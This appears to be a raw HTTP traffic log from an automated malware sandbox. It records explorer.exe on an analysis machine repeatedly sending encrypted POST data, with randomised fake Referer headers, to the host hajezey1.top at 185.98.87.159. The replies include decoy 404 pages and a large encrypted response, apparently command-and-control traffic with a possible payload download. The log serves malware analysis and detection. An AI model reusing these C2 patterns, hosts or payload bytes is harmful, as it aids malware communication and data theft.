Oct 29, 2021 17:55:17.844218969 CEST	1471	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:17 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.6	49770	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:17.925364017 CEST	1475	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://isiuwvkkoj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 214 Host: hajezey1.top
Oct 29, 2021 17:55:17.925384998 CEST	1475	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 03 ce 92 63 Data Ascii: lI\|FG2@i^mwmwu$f]dcCLl9UIsxE)hBzen+w^=E&!o@%6~^s?/Jg$X8x8oznAx"FHG7.4xz9=
Oct 29, 2021 17:55:18.005929947 CEST	1475	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.6	49771	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:18.092125893 CEST	1482	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pmdvv.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 163 Host: hajezey1.top
Oct 29, 2021 17:55:18.092179060 CEST	1482	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 48 c5 b4 0a Data Ascii: lI\|FG2@i^mwmwu$f]dHdTZZ`LI~kLb8KS*H7@Q#QYT>w3RPe]8&
Oct 29, 2021 17:55:18.171102047 CEST	1487	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.6	49772	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:18.271374941 CEST	1488	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jyoho.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 323 Host: hajezey1.top
Oct 29, 2021 17:55:18.271399975 CEST	1489	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 53 ab b0 28 Data Ascii: lI\|FG2@i^mwmwu$f]dS(ab.Y#u{E'BY~{;\\|3;[K-.B2\|+c:cjB\Qc:\K_Y^I,F\|P1c3sbWlsS>ZF0f#Z
Oct 29, 2021 17:55:18.349944115 CEST	1490	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da 07 22 bd c8 ac ef 3f ef b2 a9 a6 cc b4 02 47 71 f5 66 3c 3d d0 9f cb 67 14 d8 97 24 c8 b9 fc f0 d4 e8 57 2d 88 d5 74 61 b4 7b 69 ad 66 43 80 1c b7 16 db 64 73 98 f5 51 cf 39 c5 da 87 f1 7d 87 70 f3 35 43 50 11 00 ac 07 1d 02 c1 b9 5a 97 82 fd 11 41 a6 b2 84 35 ce 39 83 ce 85 91 3e 94 d4 54 e5 2f 62 a2 22 27 c6 b9 0a d7 d9 1b c5 89 10 ee 8b ba d7 62 47 d8 ae 85 3a 9d 9b e1 d5 f5 de 38 7f 98 92 ff b0 6a 05 8f a5 0a 9f 36 6f 03 62 53 b5 f8 80 99 8b 84 80 3f 1d b8 3a c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 94 b6 07 e8 9a 4a 17 7a c5 42 14 7e 24 a0 84 ba 8b 65 7d bb 8e da 3b 33 f2 82 6c 27 b4 e3 e4 ce fd 5f 98 3b c4 fe da 3d 8f f5 3f 78 14 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|!@+%gt#+xQ<2P0YObyT=a'4 YU\nIXKg[Ge92)g z6@E}Wp0Mk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!Uvy_:-nD%GkKm@NQ>[J8-w,v"JG0Z"?kQTJMQId%\s$&Q#F<pvA>C/CbGB4VFv2Bbo;6HPgyPum6'NGc_,/DO9W%J}Tzl9\c=~"}h`1%@N!{K.iw]Ai/mv`pV>`\|PTZ3z[ ^z&+(l%yw*C=;5"No?hs#9cw9iwN7&,X2wlH%f7-/^'Hg7+w&9c1P0{2%#49FwX?,SC;#vddOU^=i=p.oj"?Gqf<=g$W-ta{ifCdsQ9}p5CPZA59>T/b"'bG:8j6obS?:F/Mv#JzB~$e};3l'_;=?xB{F
Oct 29, 2021 17:55:18.350016117 CEST	1491	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 91 8a 2d 55 76 8c 94 be 70 8d 45 69 a1 84 05 86 e8 c6 3a 1e 4e 30 c8 3f b1 dc a7 36 0d b4 24 76 f3 61 5f ca bd d3 75 2e 18 45 3b e3 34 16 54 57 74 48 8a 38 7a ea 35 51 Data Ascii: cbp1HErl>-UvpEi:N0?6$va_u.E;4TWtH8z5Q*b!F3A2 !Stw %OM:/GIaeuJYAU{l4\|Fs_B3D-BX-!,]1B]&?=mW46yH9e@
Oct 29, 2021 17:55:18.350058079 CEST	1493	IN	Data Raw: 67 72 a2 98 b8 d3 52 89 bc 8c 20 84 cb 39 fc d0 e5 ac f9 cf 3b 7a de 3e 42 79 15 7c ce b7 b1 a8 ea ad 57 95 52 5a 81 7f 29 c9 f9 dc 88 2f b7 bd fd 7d 0b 9e 67 da 03 2f dc ec 4f e6 ff 9b e3 76 f3 62 85 0b 6a ac a6 cd 84 a0 d4 12 ec 6d 80 c2 b0 b9 Data Ascii: grR 9;z>By\|WRZ)/}g/Ovbjm\|y~;m4Y`xxgoSfC6{N\-g2~*3g2g{N<OuR<>G[DsC_pl'^{\|ar)G0:RdqS=.
Oct 29, 2021 17:55:18.350099087 CEST	1494	IN	Data Raw: 7d da 8b 38 8a 86 13 07 48 99 59 83 3d 9b f5 8d 3f e3 1e 40 88 84 34 4b 44 80 0e ce a3 a7 b7 09 de 10 e6 b8 03 fa 38 17 c4 b2 b7 fd 6d 6c fe 88 6c 20 1d 9e 4d a6 62 69 b7 7a a1 6a f0 1c cf da 9c f1 64 6f 76 04 46 78 de dd 49 2b e1 b4 3e 8d 24 47 Data Ascii: }8HY=?@4KD8mll MbizjdovFxI+>$G~,@X!k*b)rG2IDAH)n(up&\|a%va7I^3/7A#5lIX!;RPi:Nx~(,qjSL\|QK oD!
Oct 29, 2021 17:55:18.350140095 CEST	1496	IN	Data Raw: eb 12 3a 1c 28 6e 5f 24 08 5b a5 35 8d 3e 23 75 c1 f7 3e b1 9a 0b d2 92 bb 22 10 1b 92 d7 78 53 f5 dc dd 4c b3 31 8d 8a 89 da b4 d0 4f 22 28 f1 dd ff 53 1a 2e c9 47 bd 1c 97 66 4c 84 55 b6 53 60 c7 a9 62 13 31 61 11 c8 31 2e 5e a8 63 f1 85 30 f7 Data Ascii: :(n_$[5>#u>"xSL1O"(S.GfLUS`b1a1.^c0dt\|R4>fEc5I$J3@2m04kwg?Ha"/3vSZ`.N@oY^].PKa~}~oV_cE3Lann4?IkpT\|Z
Oct 29, 2021 17:55:18.350169897 CEST	1497	IN	Data Raw: ef 57 94 45 f8 84 96 14 6f 74 5f 72 c0 3b e2 07 45 c1 3c d3 e5 ce a9 91 d0 32 e8 6f cd 2d f1 c0 66 c1 58 19 4a 13 c0 ca 13 28 29 b9 27 ab a8 32 ce f9 af 78 4f be 48 8a 74 17 1b 3c 00 c3 af 8a 2c e2 e1 39 ff c9 9e 0c 59 e4 be 6a 18 33 c1 b3 4c 2b Data Ascii: WEot_r;E<2o-fXJ()'2xOHt<,9Yj3L+h.~]~'lfeDzo=0bD?r2PV8gTSdHffs<WEEd/y]kdO]8?O_8{nA6$M)?u?q}rzJ'Op
Oct 29, 2021 17:55:18.350200891 CEST	1498	IN	Data Raw: 56 78 a0 d2 a2 49 6f 98 2a a1 84 fb d1 cf 69 a5 e5 cd d0 82 5e a7 51 e1 4f 80 6d 7a 14 85 48 7a b3 53 aa bb a6 dc 19 71 77 48 2a c5 5c cd 79 23 a9 f5 10 db c9 79 8f 57 36 37 54 df 58 c5 4e 13 8e cf c4 0c c4 9b 4b e3 51 5c 65 77 65 38 47 d3 87 14 Data Ascii: VxIoi^QOmzHzSqwH\y#yW67TXNKQ\ewe8Gg=Bkj_(h1H]Y&'<I4:C%5M]Z\L6gg<']uBk$@HNJY]#jm?2000ov<`;oG>g67k%jK/fH
Oct 29, 2021 17:55:18.350233078 CEST	1500	IN	Data Raw: a8 06 0d e8 7f 36 ac 98 7b a6 ba 34 16 c6 7d 81 b3 8c 7e 38 23 52 17 70 1d 15 9e d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae f6 5a 93 7a 16 2f 14 d2 10 94 97 a7 54 57 be c0 ed 8e 85 63 f2 13 5b ca 46 a1 67 45 38 ae d8 46 a4 c3 68 bc Data Ascii: 6{4}~8#Rp!7naqTZz/TWc[FgE8FhsW-\SpH:.Zzz%m,xnZ!xBz9Wl#%Wrv@K,Xlhi $zZC:"D1[7TMq;/jZH2:>+BD
Oct 29, 2021 17:55:18.350294113 CEST	1501	IN	Data Raw: 70 ce c3 dc 47 33 dd 00 77 45 14 03 8c f0 3c ba bd 33 e1 ce ed 01 49 21 56 75 6a ac dd f8 b8 4a bc 5e b3 12 ae d5 21 c4 2b 71 57 e6 5b 28 9a 48 62 29 78 6c 46 82 34 bd 4d 64 79 14 b1 23 ce 19 76 b6 49 22 23 04 63 11 de d6 73 73 6b dd 23 c0 04 09 Data Ascii: pG3wE<3I!VujJ^!+qW[(Hb)xlF4Mdy#vI"#cssk#rr)2t&;Rv5gDM2hSEuud6\|m{Z9[.Fi=(H'E+GsV39(%@YFPQjoiIvU8abIsOTv<G6A
Oct 29, 2021 17:55:18.350466013 CEST	1503	IN	Data Raw: 31 f2 df 81 47 90 c0 26 f1 c3 34 6b ea 51 b7 be 41 2c b4 28 61 17 14 c6 fc d0 de d5 58 00 d4 35 31 dc 52 da f4 0b 45 6a d4 3b 8f 09 f8 15 1d 61 2e e0 21 8b f3 1a 1c 65 14 cd 5f 2b 10 f2 a2 26 90 3c 39 7f bb 38 66 62 02 e7 9b ea 69 4d 3c 8e fe 45 Data Ascii: 1G&4kQA,(aX51REj;a.!e_+&<98fbiM<E9#eJ@\dPYT]\ &g+rlgK@<Rq\|E}e;W("+x${WBLD ro--.suEz&%ui/\kMSL{r\|b
Oct 29, 2021 17:55:18.402621984 CEST	1504	IN	Data Raw: 5e ae 55 64 b9 22 9f b7 dd 7c b7 23 e8 8e c6 ed fc 8c 1e 15 44 14 13 3e f5 40 ab f1 a3 58 28 57 da 2b 77 3d ed ea 9d 47 8c 2e e7 80 a1 5f f5 de 62 dc b1 48 7e 87 39 df c7 72 3a fb 6f fc f2 92 5d df 76 21 c3 6d c0 df 94 e3 71 10 73 81 88 b7 18 8a Data Ascii: ^Ud"\|#D>@X(W+w=G._bH~9r:o]v!mqs:%vmC0/4wqE3Vd3~bSp?H>7J 9f Ou`$@>7N#fPa0/\|;"a7Pq{

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.6	49779	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:20.480714083 CEST	2247	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fpdmgcvxb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 221 Host: hajezey1.top
Oct 29, 2021 17:55:20.480722904 CEST	2247	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 98 66 5d 02 c9 a1 c1 64 51 85 b4 2c Data Ascii: lI\|FG2@i^mwmwu$f]dQ,B!DVW04tsi)$6S*;"I-A0kP^VwL(}f#ss%rz2"2O"LLf'xO0(LAWs4a
Oct 29, 2021 17:55:20.562592983 CEST	2249	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	49782	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:20.662900925 CEST	2256	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fxurvqy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: hajezey1.top
Oct 29, 2021 17:55:20.663022041 CEST	2256	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 99 66 5d 02 c8 a1 c1 64 02 cf 8a 10 Data Ascii: lI\|FG2@i^mwmwu$f]dZbjJqcL](wLt{KSaLAlMdjQ(P_V_aW(Mde"" ,1SbY/Oba7\L_V$Oll{
Oct 29, 2021 17:55:20.746149063 CEST	2271	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:20 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.6	49784	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:20.847351074 CEST	2335	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vlsulvkdg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 146 Host: hajezey1.top
Oct 29, 2021 17:55:20.847378016 CEST	2335	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 96 66 5d 02 c8 a1 c1 64 1e 80 ca 65 Data Ascii: lI\|FG2@i^mwmwu$f]de0zjd)ecO4eO~EI2 ikYyL3;'.gGZ[$%
Oct 29, 2021 17:55:20.931469917 CEST	2337	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 15:55:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49785	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:55:21.028136969 CEST	2338	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cwdaqy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 260 Host: hajezey1.top
Oct 29, 2021 17:55:21.028153896 CEST	2339	OUT	Data Raw: 10 87 81 e4 6c 83 a0 bb bf 49 7c 46 0d ba e1 89 47 1f ac 32 a4 40 69 9f b8 9d dc 85 8a d0 94 84 1d c0 5e a5 6d 1f ce 96 e9 d8 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 26 ab 9a 10 Data Ascii: lI\|FG2@i^mwmwu$f]d&>n\|MA.!?~jaLg@tk}>(TY/"Jrz.#,;'ZvCbl#&NWqe'W4CVH^,/3Dxs}JG1",'jvVT#K
